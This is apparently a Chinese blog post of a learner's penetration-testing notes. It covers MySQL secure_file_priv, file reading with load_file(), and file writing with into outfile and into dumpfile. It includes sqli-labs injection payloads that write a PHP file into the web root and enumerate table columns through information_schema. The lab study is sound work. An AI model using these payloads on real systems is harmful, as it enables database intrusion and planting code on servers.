渗透学习日记day13(补布尔盲注)

secure-file-priv参数

首先在mysql中使用 

show variables like '%secure_file_priv%';

show global variables like '%secure_file_priv%';        

如果显示为NULL

在mysql.ini的配置文件中加入 

secure_file_priv=

 现在即可使用file_load读取文件,如果secure_file-priv=NULL则读取内容为空

注意如果在secure_file-priv=    后加的是文件夹的绝对路径,则只能读取该文件夹中的文件

select file_load('文件绝对路径')

关于secure_file-priv= 要加在[mysqld]下面

load_file()函数 读文件操作

前提:

  • 知道文件绝对路径
  • 能够使用union查询
  • 对想要读取的目录有读写权限,判断mysql是不是root
  • my.ini中的secure-file-priv配置

load_file()中避免使用单双引号:

load_file(0x后面跟绝对路径的十六进制编码)        //这样可以避免使用单双引号

into outfile()写文件操作

用法:select '要写入的内容' into outfile '要写入文件的绝对路径';

例如:select '<?php phpinfo();?>' into outfile 'D:/1.txt';

这里有个小疑问是视频中读文件用的是(' 读取路径 ')而写文件用的是' 要写的路径 '没有(),但是自己在测试的时候出现问题,没有测试过两者区别

问题出现原因:mysql5.7版本secure_file-priv= 加错地方,要加在my.ini配置文件的[mysqld]下

而且查看命令要用show global variables like '%secure_file-priv%'; 

mysql5.7导出数据提示--secure-file-priv选项问题的解决方法

找到这里出错原因了:打成了secure_file-priv,是secure_file_priv

可以看到Mysql5.7版本要加个global

问题解决,之前的问题||视频中读文件用的是(' 读取路径 ')而写文件用的是' 要写的路径 '没有()||

验证发现确实是这样,不然会报错

 

补充:phpstudy内置的mysql要用命令行执行的话首先进入Mysql的可执行的文件夹下D:\phpstudy_pro\Extensions\MySQL5.7.26\bin(根据自己安装路径)再打命令mysql -u ... root -p

into dumpfile()写文件操作

和into outfile()相同,只是这里写的是二进制可执行程序,用记事本打开会乱码

sqli-labs第一关在www目录下写文件

?id=' union select 1,2,'<?php phpinfo();?>' into outfile 'D:/phpstudy_pro/WWW/1.php' --+

sqli-labs第一关查看当前数据库中users表的所有字段(已知有三个字段,第2.3位为回显位)

?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'users' --+

关于information_schema

读取所有数据库:

information_schema.schemata--schema_name       里面的schema_name就是所有数据库

select * from information_schema.schemata;

 读取某个库下面某张表的所有内容:

information_schema.tables table_name where table_schema=数据库名        里面的table_name就是数据库中所有的表

select * from information_schema.tables where table_schema=database();

 读取某个数据库下某张表所有字段:

select column_name from information_schema.columns where table_schema = database() and table_name = '表名';

布尔盲注

我们注入一般是先看是否有回显点先用联合注入,再看是否有报错用注入,再考虑布尔盲注,最后是延时注入

我认为布尔注入和延时注入的话主要是对数据库、表名等信息字符进行循环遍历匹配爆出相对于的信息

因为直接做布尔注入的时候没有写,之后若是遗忘了了可以看看下面的文章,这里留个回顾知识点的地方

SQL盲注注入——布尔型_莫者的博客-CSDN博客_布尔盲注

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值